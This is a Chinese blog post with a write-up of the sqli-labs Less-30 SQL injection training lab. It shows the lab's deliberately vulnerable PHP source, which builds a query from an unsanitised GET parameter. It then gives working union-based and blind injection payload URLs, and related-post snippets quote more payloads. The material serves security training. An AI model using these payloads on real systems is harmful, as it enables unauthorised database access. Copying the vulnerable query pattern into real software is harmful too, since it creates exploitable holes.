sqli-labs————Less-30

最新推荐文章于 2024-02-26 16:11:58 发布
最新推荐文章于 2024-02-26 16:11:58 发布
阅读量510 收藏
点赞数
分类专栏： 【渗透测试实战】 # Sqli-labs实战
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Fly_hps/article/details/80286822
版权

Less-30

查看源代码：

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-30</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");

//disable error reporting
error_reporting(0);

// take the variables 
if(isset($_GET['id']))
{
	$id=$_GET['id'];
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'ID:'.$id."\n");
	fclose($fp);

	$qs = $_SERVER['QUERY_STRING'];
	$hint=$qs;
	$id = '"' .$id. '"';

// connectivity 
	$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row)
	{
	  	echo "<font size='5' color= '#99FF00'>";	
	  	echo 'Your Login name:'. $row['username'];
	  	echo "<br>";
	  	echo 'Your Password:' .$row['password'];
	  	echo "</font>";
  	}
	else 
	{
		echo '<font color= "#FFFF00">';
		//print_r(mysql_error());
		echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-30.jpg" />
</br>
</br>
</br>
<img src="../images/Less-30-1.jpg" />
</br>
</br>
<font size='4' color= "#33FFFF">
<?php
echo "Hint: The Query String you input is: ".$hint;
?>
</font> 
</center>
</body>
</html>

根据这里的sql语句直接给出payload：
明注：

http://192.168.11.136/sqli-labs/Less-30?id=-1"union/**/select/**/1,group_concat(schema_name),1/**/from/**/information_schema.schemata--+


盲注：

http://192.168.11.136/sqli-labs/Less-30?id=-1"|| 1--+


FLy_鹏程万里
关注
专栏目录
sqli-labs Less-29、30、31（sqli-labs闯关指南 29、30、31）—服务器（两层）架构
m0_54899775的博客
12-26 1907
sqli-labs Less-29、30、31（sqli-labs闯关指南 29、30、31）—服务器（两层）架构
Sqli-labs靶场第11关详解[Sqli-labs-less-11]
m0_73615178的博客
02-24 1565
SQL注入的三个条件：①参数可控；（从参数输入就知道参数可控）②参数过滤不彻底导致恶意代码被执行；（需要在测试过程中判断）③参数带入数据库执行。（从网页功能能大致分析出是否与数据库进行交互）利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-
SQLi LABS Less-30
热门推荐
wangyuxiang946的博客
08-16 1万+
sqlilabs30，SQLi-labs第30关使用GET请求传递参数,在url中构造payload即可
sqli-labs (less-30)
kukudeshuo的博客
03-13 344
sqli-labs (less-30) 进入30关。输入id=1 我们直接查看源文件，发现也有login.php的文件 http://127.0.0.1/sql1/Less-30/login.php?id=1 http://127.0.0.1/sql1/Less-30/login.php?id=1' 依然被WAF阻挡 http://127.0.0.1/sql1/Less-30/login.php?id=1&id=2 http://127.0.0.1/sql1/Less-30/logi
sqli-labs/Less-30
m0_71299382的博客
11-20 134
sqli-labs第三十关
sqli-labs 30到65关
weixin_44110913的博客
05-08 422
less-31逻辑跟30关一样，只不过$id = '"' .$id. '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";闭合的情况不一样。payload:http://192.168.211.145/sqli/Less-31/?id=1&id=")union select 1,database(),("3less-32首先测试?id=1' 可见在'前面加了反斜杠，尝试宽字节注入原理：mysql在使用GBK编码的时候，会认为两个
​Sqli-labs靶场第9关详解[Sqli-labs-less-9]
m0_73615178的博客
02-24 2032
利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os四、数据库名字-为后期猜解指定数据库下的表，列做准备-database()SQL注入-时间型盲注（Time-based blind）
sqli-labs ----less-26---37--练习
代码审计
03-07 1003
sqli-labs————Less-26（绕空格、/*、#等） 该关卡提示空格和注释被转义，我们测试一下： http://www.sqli.com/Less-26/?id=1’报错 sqli-labs-master/Less-26/?id=1’ --+ 依旧报错， 我添加的注释不见了，应该是注释被转义成了空字符，我们换成;%00测试一下： http://www.sqli.com/Less-26/?id=1%20and%20sleep(4);%00 and应该被转义了 phpstorm
sqli-labs注入——sqli-labs的1-65关闯关指南
qq_51366383的博客
01-27 1760
sqli-labs图片上一共有75关，但是下载的资料都只有65关，所以只写了65关，本文仅是个人想法，如有不对请多谅解。 前面三部分的数据为：security 1、Emails Id ,email_id 2、referers 3、Uagents id,uagent,ip_address,username 4、Users id,username,password password：Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,
SQLi-Labs 学习笔记（Less 21-30）
Onlyme的博客
03-11 928
点击打开链接Less-21 基于错误的复杂的字符型Cookie注入①先打开网页查看 Welcome Dhakkan②查看源代码：[plain] view plain copy&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transit...
SQLI-LAB  的 实战记录(Less 21 - Less 30)
这块盾牌有待改良
07-20 6486
Less - 21 Cookie Injection- Error Based- complex - string Less - 22 Cookie Injection- Error Based- Double Quotes - string
SQL Labs刷题补坑记录（less1-less30）
weixin_30376453的博客
08-10 340
补坑加1，这几天快速刷一下sqllabs 来巩固下sql注入基础吧，也算是把很久以前没刷的过一遍，do it！ 第一部分： LESS1: 直接报错，有回显的注入， http://localhost/sqli-labs-master/Less-1/?id=1' order by 3--+ 就可以确定字段然后使用union查询即可 http://localhost/sqli-la...
Sqli-labs之Less-29和Less-30和Less-31
m0_46315342的博客
06-04 432
                                          &nbs...
有了这个网络安全面试题，面试就像开了挂！（附PDF）
最新发布
lvaolan的博客
02-26 1126
还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！【完整版领取方式在文末！！​​​​内容实在太多，不一一截图了。
sqli靶场1到30关
橙子鱼的博客
02-14 401
sqli靶场1到30关
sqli-labs通关（less21~less30）
箭雨镜屋
09-03 3435
Less21 这关刚开始还是和Less20一样，进去是个登录的页面 输入正确的用户名和密码之后，返回的页面有User-Agent，客户端ip地址，cookie，用户名，密码，用户id等信息 登录过程中burpsuite也是抓到两个报文，第一个是发送用户名和密码的POST报文，第二个是GET报文且携带cookie 仔细看这关的GET报文，就和上一关不一样了，Cookie中uname参数的值是base64编码的。 把uname的值粘贴到burpsuite的decoder模块，先decod.
sqli-labs 25-30关 超详细
m0_64361111的博客
03-18 944
25关 输入?id=1’报错 ?id=1’--+ 正常回显 说明存在字符型注入 输入and 1=1 发现and被过滤 输入order by 发现 or 被过滤 由于不能使用or和and ，所以直接使用联合查询 3正常 4报错 ，说明只有三个字段 回显位是2 和3 然后就可以套用payload了 /?id=-1’union select 1,2,database()--+ // 获取数据库名 /?id=-1’union select 1,2,gr...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值